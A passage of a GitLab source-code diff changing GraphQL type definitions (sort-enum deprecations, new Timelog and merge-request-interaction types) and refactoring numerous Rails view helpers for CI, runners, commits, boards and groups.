- value 'created_asc', 'Created at ascending order.', value: :created_asc, deprecated: { reason: 'Use CREATED_ASC', milestone: '13.5' }
+ value 'updated_desc', 'Updated at descending order.',
+ value: :updated_desc,
+ deprecated: {
+ reason: :renamed,
+ replacement: 'UPDATED_DESC',
+ milestone: '13.5'
+ }
+ value 'updated_asc', 'Updated at ascending order.',
+ value: :updated_asc,
+ deprecated: {
+ reason: :renamed,
+ replacement: 'UPDATED_ASC',
+ milestone: '13.5'
+ }
+ value 'created_desc', 'Created at descending order.',
+ value: :created_desc,
+ deprecated: {
+ reason: :renamed,
+ replacement: 'CREATED_DESC',
+ milestone: '13.5'
+ }
+ value 'created_asc', 'Created at ascending order.',
+ value: :created_asc,
+ deprecated: {
+ reason: :renamed,
+ replacement: 'CREATED_ASC',
+ milestone: '13.5'
+ }
value 'UPDATED_DESC', 'Updated at descending order.', value: :updated_desc
value 'UPDATED_ASC', 'Updated at ascending order.', value: :updated_asc
diff --git a/app/graphql/types/timelog_type.rb b/app/graphql/types/timelog_type.rb
new file mode 100644
index 00000000000..465e3c492bc
--- /dev/null
+++ b/app/graphql/types/timelog_type.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module Types
+ class TimelogType < BaseObject
+ graphql_name 'Timelog'
+
+ authorize :read_group_timelogs
+
+ field :spent_at,
+ Types::TimeType,
+ null: true,
+ description: 'Timestamp of when the time tracked was spent at.'
+
+ field :time_spent,
+ GraphQL::INT_TYPE,
+ null: false,
+ description: 'The time spent displayed in seconds.'
+
+ field :user,
+ Types::UserType,
+ null: false,
+ description: 'The user that logged the time.'
+
+ field :issue,
+ Types::IssueType,
+ null: true,
+ description: 'The issue that logged time was added to.'
+
+ field :note,
+ Types::Notes::NoteType,
+ null: true,
+ description: 'The note where the quick action to add the logged time was executed.'
+
+ def user
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.user_id).find
+ end
+
+ def issue
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Issue, object.issue_id).find
+ end
+ end
+end
diff --git a/app/graphql/types/user_merge_request_interaction_type.rb b/app/graphql/types/user_merge_request_interaction_type.rb
new file mode 100644
index 00000000000..5ff0d79f13e
--- /dev/null
+++ b/app/graphql/types/user_merge_request_interaction_type.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+module Types
+ class UserMergeRequestInteractionType < BaseObject
+ graphql_name 'UserMergeRequestInteraction'
+ description <<~MD
+ Information about a merge request given a specific user.
+
+ This object has two parts to its state: a `User` and a `MergeRequest`. All
+ fields relate to interactions between the two entities.
+ MD
+
+ authorize :read_merge_request
+
+ field :can_merge,
+ type: ::GraphQL::BOOLEAN_TYPE,
+ null: false,
+ calls_gitaly: true,
+ method: :can_merge?,
+ description: 'Whether this user can merge this merge request.'
+
+ field :can_update,
+ type: ::GraphQL::BOOLEAN_TYPE,
+ null: false,
+ method: :can_update?,
+ description: 'Whether this user can update this merge request.'
+
+ field :review_state,
+ ::Types::MergeRequestReviewStateEnum,
+ null: true,
+ description: 'The state of the review by this user.'
+
+ field :reviewed,
+ type: ::GraphQL::BOOLEAN_TYPE,
+ null: false,
+ method: :reviewed?,
+ description: 'Whether this user has provided a review for this merge request.'
+
+ field :approved,
+ type: ::GraphQL::BOOLEAN_TYPE,
+ null: false,
+ method: :approved?,
+ description: 'Whether this user has approved this merge request.'
+ end
+end
+
+::Types::UserMergeRequestInteractionType.prepend_if_ee('EE::Types::UserMergeRequestInteractionType')
diff --git a/app/graphql/types/user_type.rb b/app/graphql/types/user_type.rb
index 2cc7d379240..3d7db80ae11 100644
--- a/app/graphql/types/user_type.rb
+++ b/app/graphql/types/user_type.rb
@@ -3,6 +3,7 @@
module Types
class UserType < BaseObject
graphql_name 'User'
+ description 'Representation of a GitLab user.'
authorize :read_user
@@ -10,61 +11,87 @@ module Types
expose_permissions Types::PermissionTypes::User
- field :id, GraphQL::ID_TYPE, null: false,
+ field :id,
+ type: GraphQL::ID_TYPE,
+ null: false,
description: 'ID of the user.'
- field :bot, GraphQL::BOOLEAN_TYPE, null: false,
+ field :bot,
+ type: GraphQL::BOOLEAN_TYPE,
+ null: false,
description: 'Indicates if the user is a bot.',
method: :bot?
- field :username, GraphQL::STRING_TYPE, null: false,
+ field :username,
+ type: GraphQL::STRING_TYPE,
+ null: false,
description: 'Username of the user. Unique within this instance of GitLab.'
- field :name, GraphQL::STRING_TYPE, null: false,
+ field :name,
+ type: GraphQL::STRING_TYPE,
+ null: false,
description: 'Human-readable name of the user.'
- field :state, Types::UserStateEnum, null: false,
+ field :state,
+ type: Types::UserStateEnum,
+ null: false,
description: 'State of the user.'
- field :email, GraphQL::STRING_TYPE, null: true,
+ field :email,
+ type: GraphQL::STRING_TYPE,
+ null: true,
description: 'User email.', method: :public_email,
- deprecated: { reason: 'Use public_email', milestone: '13.7' }
- field :public_email, GraphQL::STRING_TYPE, null: true,
+ deprecated: { reason: :renamed, replacement: 'User.publicEmail', milestone: '13.7' }
+ field :public_email,
+ type: GraphQL::STRING_TYPE,
+ null: true,
description: "User's public email."
- field :avatar_url, GraphQL::STRING_TYPE, null: true,
+ field :avatar_url,
+ type: GraphQL::STRING_TYPE,
+ null: true,
description: "URL of the user's avatar."
- field :web_url, GraphQL::STRING_TYPE, null: false,
+ field :web_url,
+ type: GraphQL::STRING_TYPE,
+ null: false,
description: 'Web URL of the user.'
- field :web_path, GraphQL::STRING_TYPE, null: false,
+ field :web_path,
+ type: GraphQL::STRING_TYPE,
+ null: false,
description: 'Web path of the user.'
- field :todos, Types::TodoType.connection_type, null: false,
+ field :todos,
resolver: Resolvers::TodoResolver,
description: 'To-do items of the user.'
- field :group_memberships, Types::GroupMemberType.connection_type, null: true,
+ field :group_memberships,
+ type: Types::GroupMemberType.connection_type,
+ null: true,
description: 'Group memberships of the user.'
- field :group_count, GraphQL::INT_TYPE, null: true,
+ field :group_count,
resolver: Resolvers::Users::GroupCountResolver,
description: 'Group count for the user.',
feature_flag: :user_group_counts
- field :status, Types::UserStatusType, null: true,
- description: 'User status.'
- field :location, ::GraphQL::STRING_TYPE, null: true,
+ field :status,
+ type: Types::UserStatusType,
+ null: true,
+ description: 'User status.'
+ field :location,
+ type: ::GraphQL::STRING_TYPE,
+ null: true,
description: 'The location of the user.'
- field :project_memberships, Types::ProjectMemberType.connection_type, null: true,
+ field :project_memberships,
+ type: Types::ProjectMemberType.connection_type,
+ null: true,
description: 'Project memberships of the user.'
- field :starred_projects, Types::ProjectType.connection_type, null: true,
+ field :starred_projects,
description: 'Projects starred by the user.',
resolver: Resolvers::UserStarredProjectsResolver
# Merge request field: MRs can be authored, assigned, or assigned-for-review:
field :authored_merge_requests,
resolver: Resolvers::AuthoredMergeRequestsResolver,
- description: 'Merge Requests authored by the user.'
+ description: 'Merge requests authored by the user.'
field :assigned_merge_requests,
resolver: Resolvers::AssignedMergeRequestsResolver,
- description: 'Merge Requests assigned to the user.'
+ description: 'Merge requests assigned to the user.'
field :review_requested_merge_requests,
resolver: Resolvers::ReviewRequestedMergeRequestsResolver,
- description: 'Merge Requests assigned to the user for review.'
+ description: 'Merge requests assigned to the user for review.'
field :snippets,
- Types::SnippetType.connection_type,
- null: true,
description: 'Snippets authored by the user.',
resolver: Resolvers::Users::SnippetsResolver
field :callouts,
diff --git a/app/helpers/analytics/unique_visits_helper.rb b/app/helpers/analytics/unique_visits_helper.rb
index 337a5dc9536..4aa8907f578 100644
--- a/app/helpers/analytics/unique_visits_helper.rb
+++ b/app/helpers/analytics/unique_visits_helper.rb
@@ -16,7 +16,7 @@ module Analytics
def track_visit(target_id)
return unless visitor_id
- Gitlab::Analytics::UniqueVisits.new.track_visit(visitor_id, target_id)
+ Gitlab::Analytics::UniqueVisits.new.track_visit(target_id, values: visitor_id)
end
class_methods do
diff --git a/app/helpers/appearances_helper.rb b/app/helpers/appearances_helper.rb
index 3ae9f93a27a..65feea4f6e0 100644
--- a/app/helpers/appearances_helper.rb
+++ b/app/helpers/appearances_helper.rb
@@ -84,3 +84,4 @@ module AppearancesHelper
end
AppearancesHelper.prepend_if_ee('EE::AppearancesHelper')
+AppearancesHelper.prepend_if_jh('JH::AppearancesHelper')
diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb
index 9af45daaca4..a2ef2f1207c 100644
--- a/app/helpers/application_helper.rb
+++ b/app/helpers/application_helper.rb
@@ -165,7 +165,7 @@ module ApplicationHelper
css_classes = [short_format ? 'js-short-timeago' : 'js-timeago']
css_classes << html_class unless html_class.blank?
- element = content_tag :time, l(time, format: "%b %d, %Y"),
+ content_tag :time, l(time, format: "%b %d, %Y"),
class: css_classes.join(' '),
title: l(time.to_time.in_time_zone, format: :timeago_tooltip),
datetime: time.to_time.getutc.iso8601,
@@ -174,8 +174,6 @@ module ApplicationHelper
placement: placement,
container: 'body'
}
-
- element
end
def edited_time_ago_with_tooltip(object, placement: 'top', html_class: 'time_ago', exclude_author: false)
@@ -194,10 +192,16 @@ module ApplicationHelper
end
end
- def promo_host
+ # This needs to be used outside of Rails
+ def self.promo_host
'about.gitlab.com'
end
+ # Convenient method for Rails helper
+ def promo_host
+ ApplicationHelper.promo_host
+ end
+
def promo_url
'https://' + promo_host
end
@@ -281,6 +285,7 @@ module ApplicationHelper
def page_class
class_names = []
class_names << 'issue-boards-page gl-overflow-auto' if current_controller?(:boards)
+ class_names << 'epic-boards-page' if current_controller?(:epic_boards)
class_names << 'environment-logs-page' if current_controller?(:logs)
class_names << 'with-performance-bar' if performance_bar_enabled?
class_names << system_message_class
@@ -405,3 +410,4 @@ module ApplicationHelper
end
ApplicationHelper.prepend_if_ee('EE::ApplicationHelper')
+ApplicationHelper.prepend_if_jh('JH::ApplicationHelper')
diff --git a/app/helpers/application_settings_helper.rb b/app/helpers/application_settings_helper.rb
index 085fbfd08da..504ebb5606e 100644
--- a/app/helpers/application_settings_helper.rb
+++ b/app/helpers/application_settings_helper.rb
@@ -179,6 +179,7 @@ module ApplicationSettingsHelper
def visible_attributes
[
:abuse_notification_email,
+ :admin_mode,
:after_sign_out_path,
:after_sign_up_text,
:akismet_api_key,
@@ -228,6 +229,9 @@ module ApplicationSettingsHelper
:email_author_in_body,
:enabled_git_access_protocol,
:enforce_terms,
+ :external_pipeline_validation_service_timeout,
+ :external_pipeline_validation_service_token,
+ :external_pipeline_validation_service_url,
:first_day_of_week,
:force_pages_access_control,
:gitaly_timeout_default,
diff --git a/app/helpers/avatars_helper.rb b/app/helpers/avatars_helper.rb
index 8d22bda279f..09f91f350bd 100644
--- a/app/helpers/avatars_helper.rb
+++ b/app/helpers/avatars_helper.rb
@@ -24,11 +24,7 @@ module AvatarsHelper
def avatar_icon_for_email(email = nil, size = nil, scale = 2, only_path: true)
return gravatar_icon(email, size, scale) if email.nil?
- if Feature.enabled?(:avatar_cache_for_email, @current_user, type: :development)
- Gitlab::AvatarCache.by_email(email, size, scale, only_path) do
- avatar_icon_by_user_email_or_gravatar(email, size, scale, only_path: only_path)
- end
- else
+ Gitlab::AvatarCache.by_email(email, size, scale, only_path) do
avatar_icon_by_user_email_or_gravatar(email, size, scale, only_path: only_path)
end
end
diff --git a/app/helpers/blob_helper.rb b/app/helpers/blob_helper.rb
index 41bbd0fddd5..3144686bba9 100644
--- a/app/helpers/blob_helper.rb
+++ b/app/helpers/blob_helper.rb
@@ -41,20 +41,20 @@ module BlobHelper
result
end
- def ide_fork_and_edit_path(project = @project, ref = @ref, path = @path, options = {})
- fork_path_for_current_user(project, ide_edit_path(project, ref, path))
+ def ide_fork_and_edit_path(project = @project, ref = @ref, path = @path, with_notice: true)
+ fork_path_for_current_user(project, ide_edit_path(project, ref, path), with_notice: with_notice)
end
def fork_and_edit_path(project = @project, ref = @ref, path = @path, options = {})
fork_path_for_current_user(project, edit_blob_path(project, ref, path, options))
end
- def fork_path_for_current_user(project, path)
+ def fork_path_for_current_user(project, path, with_notice: true)
return unless current_user
project_forks_path(project,
namespace_key: current_user.namespace&.id,
- continue: edit_blob_fork_params(path))
+ continue: edit_blob_fork_params(path, with_notice: with_notice))
end
def encode_ide_path(path)
@@ -330,12 +330,12 @@ module BlobHelper
blob if blob&.readable_text?
end
- def edit_blob_fork_params(path)
+ def edit_blob_fork_params(path, with_notice: true)
{
to: path,
- notice: edit_in_new_fork_notice,
- notice_now: edit_in_new_fork_notice_now
- }
+ notice: (edit_in_new_fork_notice if with_notice),
+ notice_now: (edit_in_new_fork_notice_now if with_notice)
+ }.compact
end
def edit_modify_file_fork_params(action)
diff --git a/app/helpers/boards_helper.rb b/app/helpers/boards_helper.rb
index b8c2255ab7e..49963d14934 100644
--- a/app/helpers/boards_helper.rb
+++ b/app/helpers/boards_helper.rb
@@ -14,7 +14,8 @@ module BoardsHelper
root_path: root_path,
full_path: full_path,
bulk_update_path: @bulk_issues_path,
- can_update: (!!can?(current_user, :admin_issue, board)).to_s,
+ can_update: can_update?.to_s,
+ can_admin_list: can_admin_list?.to_s,
time_tracking_limit_to_hours: Gitlab::CurrentSettings.time_tracking_limit_to_hours.to_s,
recent_boards_endpoint: recent_boards_path,
parent: current_board_parent.model_name.param_key,
@@ -88,6 +89,14 @@ module BoardsHelper
@current_board_parent ||= @group || @project
end
+ def can_update?
+ can?(current_user, :admin_issue, board)
+ end
+
+ def can_admin_list?
+ can?(current_user, :admin_issue_board_list, current_board_parent)
+ end
+
def can_admin_issue?
can?(current_user, :admin_issue, current_board_parent)
end
diff --git a/app/helpers/button_helper.rb b/app/helpers/button_helper.rb
index ea24f469ffa..1b00f583b55 100644
--- a/app/helpers/button_helper.rb
+++ b/app/helpers/button_helper.rb
@@ -25,6 +25,7 @@ module ButtonHelper
button_text = data[:button_text] || ''
hide_tooltip = data[:hide_tooltip] || false
hide_button_icon = data[:hide_button_icon] || false
+ item_prop = data[:itemprop] || nil
# This supports code in app/assets/javascripts/copy_to_clipboard.js that
# works around ClipboardJS limitations to allow the context-specific copy/pasting of plain text or GFM.
@@ -49,7 +50,8 @@ module ButtonHelper
data: data,
type: :button,
title: title,
- aria: { label: title }
+ aria: { label: title },
+ itemprop: item_prop
}
content_tag :button, button_attributes do
diff --git a/app/helpers/ci/jobs_helper.rb b/app/helpers/ci/jobs_helper.rb
index ec17eccf693..a0d169c1358 100644
--- a/app/helpers/ci/jobs_helper.rb
+++ b/app/helpers/ci/jobs_helper.rb
@@ -18,6 +18,21 @@ module Ci
"retry_outdated_job_docs_url" => help_page_path('ci/pipelines/settings', anchor: 'retry-outdated-jobs')
}
end
+
+ def job_counts
+ {
+ "all" => limited_counter_with_delimiter(@all_builds),
+ "pending" => limited_counter_with_delimiter(@all_builds.pending),
+ "running" => limited_counter_with_delimiter(@all_builds.running),
+ "finished" => limited_counter_with_delimiter(@all_builds.finished)
+ }
+ end
+
+ def job_statuses
+ statuses = Ci::HasStatus::AVAILABLE_STATUSES
+
+ statuses.to_h { |status| [status, status.upcase] }
+ end
end
end
diff --git a/app/helpers/ci/pipeline_editor_helper.rb b/app/helpers/ci/pipeline_editor_helper.rb
index a71b0f4a83a..ceb18d90c92 100644
--- a/app/helpers/ci/pipeline_editor_helper.rb
+++ b/app/helpers/ci/pipeline_editor_helper.rb
@@ -7,5 +7,23 @@ module Ci
def can_view_pipeline_editor?(project)
can_collaborate_with_project?(project)
end
+
+ def js_pipeline_editor_data(project)
+ {
+ "ci-config-path": project.ci_config_path_or_default,
+ "commit-sha" => project.commit ? project.commit.sha : '',
+ "default-branch" => project.default_branch,
+ "empty-state-illustration-path" => image_path('illustrations/empty-state/empty-dag-md.svg'),
+ "initial-branch-name": params[:branch_name],
+ "lint-help-page-path" => help_page_path('ci/lint', anchor: 'validate-basic-logic-and-syntax'),
+ "new-merge-request-path" => namespace_project_new_merge_request_path,
+ "project-path" => project.path,
+ "project-full-path" => project.full_path,
+ "project-namespace" => project.namespace.full_path,
+ "yml-help-page-path" => help_page_path('ci/yaml/README')
+ }
+ end
end
end
+
+Ci::PipelineEditorHelper.prepend_if_ee('EE::Ci::PipelineEditorHelper')
diff --git a/app/helpers/ci/pipelines_helper.rb b/app/helpers/ci/pipelines_helper.rb
index 8a6f0821dbb..cabb43f45fd 100644
--- a/app/helpers/ci/pipelines_helper.rb
+++ b/app/helpers/ci/pipelines_helper.rb
@@ -30,6 +30,46 @@ module Ci
project.has_ci? && project.builds_enabled?
end
+ # This list of templates is for the pipeline_empty_state_templates experiment
+ # and will be cleaned up with https://gitlab.com/gitlab-org/gitlab/-/issues/326299
+ def experiment_suggested_ci_templates
+ [
+ { name: 'Android', logo: image_path('illustrations/logos/android.svg') },
+ { name: 'Bash', logo: image_path('illustrations/logos/bash.svg') },
+ { name: 'C++', logo: image_path('illustrations/logos/c_plus_plus.svg') },
+ { name: 'Clojure', logo: image_path('illustrations/logos/clojure.svg') },
+ { name: 'Composer', logo: image_path('illustrations/logos/composer.svg') },
+ { name: 'Crystal', logo: image_path('illustrations/logos/crystal.svg') },
+ { name: 'Dart', logo: image_path('illustrations/logos/dart.svg') },
+ { name: 'Django', logo: image_path('illustrations/logos/django.svg') },
+ { name: 'Docker', logo: image_path('illustrations/logos/docker.svg') },
+ { name: 'Elixir', logo: image_path('illustrations/logos/elixir.svg') },
+ { name: 'iOS-Fastlane', logo: image_path('illustrations/logos/fastlane.svg') },
+ { name: 'Flutter', logo: image_path('illustrations/logos/flutter.svg') },
+ { name: 'Go', logo: image_path('illustrations/logos/go_logo.svg') },
+ { name: 'Gradle', logo: image_path('illustrations/logos/gradle.svg') },
+ { name: 'Grails', logo: image_path('illustrations/logos/grails.svg') },
+ { name: 'dotNET', logo: image_path('illustrations/logos/dotnet.svg') },
+ { name: 'Rails', logo: image_path('illustrations/logos/rails.svg') },
+ { name: 'Julia', logo: image_path('illustrations/logos/julia.svg') },
+ { name: 'Laravel', logo: image_path('illustrations/logos/laravel.svg') },
+ { name: 'Latex', logo: image_path('illustrations/logos/latex.svg') },
+ { name: 'Maven', logo: image_path('illustrations/logos/maven.svg') },
+ { name: 'Mono', logo: image_path('illustrations/logos/mono.svg') },
+ { name: 'Nodejs', logo: image_path('illustrations/logos/node_js.svg') },
+ { name: 'npm', logo: image_path('illustrations/logos/npm.svg') },
+ { name: 'OpenShift', logo: image_path('illustrations/logos/openshift.svg') },
+ { name: 'Packer', logo: image_path('illustrations/logos/packer.svg') },
+ { name: 'PHP', logo: image_path('illustrations/logos/php.svg') },
+ { name: 'Python', logo: image_path('illustrations/logos/python.svg') },
+ { name: 'Ruby', logo: image_path('illustrations/logos/ruby.svg') },
+ { name: 'Rust', logo: image_path('illustrations/logos/rust.svg') },
+ { name: 'Scala', logo: image_path('illustrations/logos/scala.svg') },
+ { name: 'Swift', logo: image_path('illustrations/logos/swift.svg') },
+ { name: 'Terraform', logo: image_path('illustrations/logos/terraform.svg') }
+ ]
+ end
+
private
def warning_markdown(pipeline)
diff --git a/app/helpers/ci/runners_helper.rb b/app/helpers/ci/runners_helper.rb
index ba5d4e8c65a..82347053d6f 100644
--- a/app/helpers/ci/runners_helper.rb
+++ b/app/helpers/ci/runners_helper.rb
@@ -4,18 +4,33 @@ module Ci
module RunnersHelper
include IconsHelper
- def runner_status_icon(runner)
+ def runner_status_icon(runner, size: 16, icon_class: '')
status = runner.status
+
+ title = ''
+ icon = 'warning-solid'
+ span_class = ''
+
case status
when :not_connected
- content_tag(:span, title: _("New runner. Has not connected yet")) do
- sprite_icon("warning-solid", size: 24, css_class: "gl-vertical-align-bottom!")
- end
+ title = s_("Runners|New runner, has not connected yet")
+ icon = 'warning-solid'
+ when :online
+ title = s_("Runners|Runner is online, last contact was %{runner_contact} ago") % { runner_contact: time_ago_in_words(runner.contacted_at) }
+ icon = 'status-active'
+ span_class = 'gl-text-green-500'
+ when :offline
+ title = s_("Runners|Runner is offline, last contact was %{runner_contact} ago") % { runner_contact: time_ago_in_words(runner.contacted_at) }
+ icon = 'status-failed'
+ span_class = 'gl-text-red-500'
+ when :paused
+ title = s_("Runners|Runner is paused, last contact was %{runner_contact} ago") % { runner_contact: time_ago_in_words(runner.contacted_at) }
+ icon = 'status-paused'
+ span_class = 'gl-text-gray-600'
+ end
- when :online, :offline, :paused
- content_tag :span, nil,
- class: "gl-display-inline-block gl-avatar gl-avatar-s16 gl-avatar-circle runner-status runner-status-#{status}",
- title: _("Runner is %{status}, last contact was %{runner_contact} ago") % { status: status, runner_contact: time_ago_in_words(runner.contacted_at) }
+ content_tag(:span, class: span_class, title: title, data: { toggle: 'tooltip', container: 'body', testid: 'runner_status_icon', qa_selector: "runner_status_#{status}_content" }) do
+ sprite_icon(icon, size: size, css_class: icon_class)
end
end
diff --git a/app/helpers/clusters_helper.rb b/app/helpers/clusters_helper.rb
index cc633df77f9..439628f40c6 100644
--- a/app/helpers/clusters_helper.rb
+++ b/app/helpers/clusters_helper.rb
@@ -71,6 +71,8 @@ module ClustersHelper
render_if_exists 'clusters/clusters/health'
when 'apps'
render 'applications'
+ when 'integrations'
+ render 'integrations'
when 'settings'
render 'advanced_settings_container'
else
diff --git a/app/helpers/commits_helper.rb b/app/helpers/commits_helper.rb
index 42e4844cc8d..e7a81eb5629 100644
--- a/app/helpers/commits_helper.rb
+++ b/app/helpers/commits_helper.rb
@@ -110,16 +110,18 @@ module CommitsHelper
end
end
- def revert_commit_link
- return unless current_user
-
- tag(:div, data: { display_text: 'Revert' }, class: "js-revert-commit-trigger")
- end
-
- def cherry_pick_commit_link
- return unless current_user
-
- tag(:div, data: { display_text: 'Cherry-pick' }, class: "js-cherry-pick-commit-trigger")
+ def commit_options_dropdown_data(project, commit)
+ can_collaborate = current_user && can_collaborate_with_project?(project)
+
+ {
+ new_project_tag_path: new_project_tag_path(project, ref: commit),
+ email_patches_path: project_commit_path(project, commit, format: :patch),
+ plain_diff_path: project_commit_path(project, commit, format: :diff),
+ can_revert: "#{can_collaborate && !commit.has_been_reverted?(current_user)}",
+ can_cherry_pick: can_collaborate.to_s,
+ can_tag: can?(current_user, :push_code, project).to_s,
+ can_email_patches: (commit.parents.length < 2).to_s
+ }
end
def commit_signature_badge_classes(additional_classes)
@@ -137,7 +139,7 @@ module CommitsHelper
def cherry_pick_projects_data(project)
return [] unless Feature.enabled?(:pick_into_project, project, default_enabled: :yaml)
- target_projects(project).map do |project|
+ [project, project.forked_from_project].compact.map do |project|
{
id: project.id.to_s,
name: project.full_path,
diff --git a/app/helpers/diff_helper.rb b/app/helpers/diff_helper.rb
index 10c7b4032cf..7bf3cb6230b 100644
--- a/app/helpers/diff_helper.rb
+++ b/app/helpers/diff_helper.rb
@@ -190,12 +190,8 @@ module DiffHelper
def render_overflow_warning?(diffs_collection)
diff_files = diffs_collection.raw_diff_files
- if diff_files.any?(&:too_large?)
- Gitlab::Metrics.add_event(:diffs_overflow_single_file_limits)
- end
-
diff_files.overflow?.tap do |overflown|
- Gitlab::Metrics.add_event(:diffs_overflow_collection_limits) if overflown
+ log_overflow_limits(diff_files)
end
end
@@ -286,4 +282,18 @@ module DiffHelper
conflicts_service.conflicts.files.index_by(&:our_path)
end
+
+ def log_overflow_limits(diff_files)
+ if diff_files.any?(&:too_large?)
+ Gitlab::Metrics.add_event(:diffs_overflow_single_file_limits)
+ end
+
+ Gitlab::Metrics.add_event(:diffs_overflow_collection_limits) if diff_files.overflow?
+ Gitlab::Metrics.add_event(:diffs_overflow_max_bytes_limits) if diff_files.overflow_max_bytes?
+ Gitlab::Metrics.add_event(:diffs_overflow_max_files_limits) if diff_files.overflow_max_files?
+ Gitlab::Metrics.add_event(:diffs_overflow_max_lines_limits) if diff_files.overflow_max_lines?
+ Gitlab::Metrics.add_event(:diffs_overflow_collapsed_bytes_limits) if diff_files.collapsed_safe_bytes?
+ Gitlab::Metrics.add_event(:diffs_overflow_collapsed_files_limits) if diff_files.collapsed_safe_files?
+ Gitlab::Metrics.add_event(:diffs_overflow_collapsed_lines_limits) if diff_files.collapsed_safe_lines?
+ end
end
diff --git a/app/helpers/dropdowns_helper.rb b/app/helpers/dropdowns_helper.rb
index 45f5281b515..c2f7fa2074c 100644
--- a/app/helpers/dropdowns_helper.rb
+++ b/app/helpers/dropdowns_helper.rb
@@ -29,7 +29,7 @@ module DropdownsHelper
output << dropdown_filter(options[:placeholder])
end
- output << content_tag(:div, class: "dropdown-content #{options[:content_class] if options.key?(:content_class)}") do
+ output << content_tag(:div, data: { qa_selector: "dropdown_list_content" }, class: "dropdown-content #{options[:content_class] if options.key?(:content_class)}") do
capture(&block) if block && !options.key?(:footer_content)
end
@@ -102,7 +102,7 @@ module DropdownsHelper
def dropdown_filter(placeholder, search_id: nil)
content_tag :div, class: "dropdown-input" do
- filter_output = search_field_tag search_id, nil, class: "dropdown-input-field qa-dropdown-input-field", placeholder: placeholder, autocomplete: 'off'
+ filter_output = search_field_tag search_id, nil, data: { qa_selector: "dropdown_input_field" }, class: "dropdown-input-field", placeholder: placeholder, autocomplete: 'off'
filter_output << sprite_icon('search', css_class: 'dropdown-input-search')
filter_output << sprite_icon('close', size: 16, css_class: 'dropdown-input-clear js-dropdown-input-clear')
diff --git a/app/helpers/events_helper.rb b/app/helpers/events_helper.rb
index 52b8ac915f1..6b3abb4274e 100644
--- a/app/helpers/events_helper.rb
+++ b/app/helpers/events_helper.rb
@@ -273,7 +273,7 @@ module EventsHelper
def event_user_info(event)
content_tag(:div, class: "event-user-info") do
- concat content_tag(:span, link_to_author(event), class: "author_name")
+ concat content_tag(:span, link_to_author(event), class: "author-name")
concat "&nbsp;".html_safe
concat content_tag(:span, event.author.to_reference, class: "username")
end
diff --git a/app/helpers/git_helper.rb b/app/helpers/git_helper.rb
index 0fb37a69e56..f7c511cdc47 100644
--- a/app/helpers/git_helper.rb
+++ b/app/helpers/git_helper.rb
@@ -4,8 +4,7 @@ module GitHelper
def strip_signature(text)
text = text.gsub(/-----BEGIN PGP SIGNATURE-----(.*)-----END PGP SIGNATURE-----/m, "")
text = text.gsub(/-----BEGIN PGP MESSAGE-----(.*)-----END PGP MESSAGE-----/m, "")
- text = text.gsub(/-----BEGIN SIGNED MESSAGE-----(.*)-----END SIGNED MESSAGE-----/m, "")
- text
+ text.gsub(/-----BEGIN SIGNED MESSAGE-----(.*)-----END SIGNED MESSAGE-----/m, "")
end
def short_sha(text)
diff --git a/app/helpers/gitlab_routing_helper.rb b/app/helpers/gitlab_routing_helper.rb
index 6dcdc018a20..48af4793fb0 100644
--- a/app/helpers/gitlab_routing_helper.rb
+++ b/app/helpers/gitlab_routing_helper.rb
@@ -4,6 +4,8 @@
module GitlabRoutingHelper
extend ActiveSupport::Concern
+ include ::ProjectsHelper
+ include ::ApplicationSettingsHelper
include API::Helpers::RelatedResourcesHelpers
included do
Gitlab::Routing.includes_helpers(self)
diff --git a/app/helpers/graph_helper.rb b/app/helpers/graph_helper.rb
index abb3c5a7af8..bcbc67957eb 100644
--- a/app/helpers/graph_helper.rb
+++ b/app/helpers/graph_helper.rb
@@ -23,7 +23,7 @@ module GraphHelper
ratio.to_i
end
- def should_render_deployment_frequency_charts
+ def should_render_dora_charts
false
end
end
diff --git a/app/helpers/groups_helper.rb b/app/helpers/groups_helper.rb
index 62f0c68b0c8..5ce23baa226 100644
--- a/app/helpers/groups_helper.rb
+++ b/app/helpers/groups_helper.rb
@@ -22,6 +22,9 @@ module GroupsHelper
ldap_group_links#index
hooks#index
pipeline_quota#index
+ applications#index
+ applications#show
+ applications#edit
packages_and_registries#index
]
end
@@ -62,14 +65,6 @@ module GroupsHelper
can?(current_user, :set_emails_disabled, group) && !group.parent&.emails_disabled?
end
- def group_open_issues_count(group)
- if Feature.enabled?(:cached_sidebar_open_issues_count, group, default_enabled: :yaml)
- cached_open_group_issues_count(group)
- else
- number_with_delimiter(group_issues_count(state: 'opened'))
- end
- end
-
def group_issues_count(state:)
IssuesFinder
.new(current_user, group_id: @group.id, state: state, non_archived: true, include_subgroups: true)
@@ -77,18 +72,11 @@ module GroupsHelper
.count
end
- def cached_open_group_issues_count(group)
- count_service = Groups::OpenIssuesCountService
- issues_count = count_service.new(group, current_user).count
-
- if issues_count > count_service::CACHED_COUNT_THRESHOLD
- ActiveSupport::NumberHelper
- .number_to_human(
- issues_count,
- units: { thousand: 'k', million: 'm' }, precision: 1, significant: false, format: '%n%u'
- )
+ def group_open_merge_requests_count(group)
+ if Feature.enabled?(:cached_sidebar_merge_requests_count, group, default_enabled: :yaml)
+ cached_issuables_count(@group, type: :merge_requests)
else
- number_with_delimiter(issues_count)
+ number_with_delimiter(group_merge_requests_count(state: 'opened'))
end
end
@@ -99,6 +87,14 @@ module GroupsHelper
.count
end
+ def cached_issuables_count(group, type: nil)
+ count_service = issuables_count_service_class(type)
+ return unless count_service.present?
+
+ issuables_count = count_service.new(group, current_user).count
+ format_issuables_count(count_service, issuables_count)
+ end
+
def group_dependency_proxy_url(group)
# The namespace path can include uppercase letters, which
# Docker doesn't allow. The proxy expects it to be downcased.
@@ -117,7 +113,9 @@ module GroupsHelper
@has_group_title = true
full_title = []
- group.ancestors.reverse.each_with_index do |parent, index|
+ ancestors = group.ancestors.with_route
+
+ ancestors.reverse_each.with_index do |parent, index|
if index > 0
add_to_breadcrumb_dropdown(group_title_link(parent, hidable: false, show_avatar: true, for_dropdown: true), location: :before)
else
@@ -214,6 +212,10 @@ module GroupsHelper
!multiple_members?(group)
end
+ def render_setting_to_allow_project_access_token_creation?(group)
+ group.root? && current_user.can?(:admin_setting_to_allow_project_access_token_creation, group)
+ end
+
def show_thanks_for_purchase_banner?
params.key?(:purchased_quantity) && params[:purchased_quantity].to_i > 0
end
@@ -303,6 +305,26 @@ module GroupsHelper
def ancestor_locked_and_has_been_overridden(group)
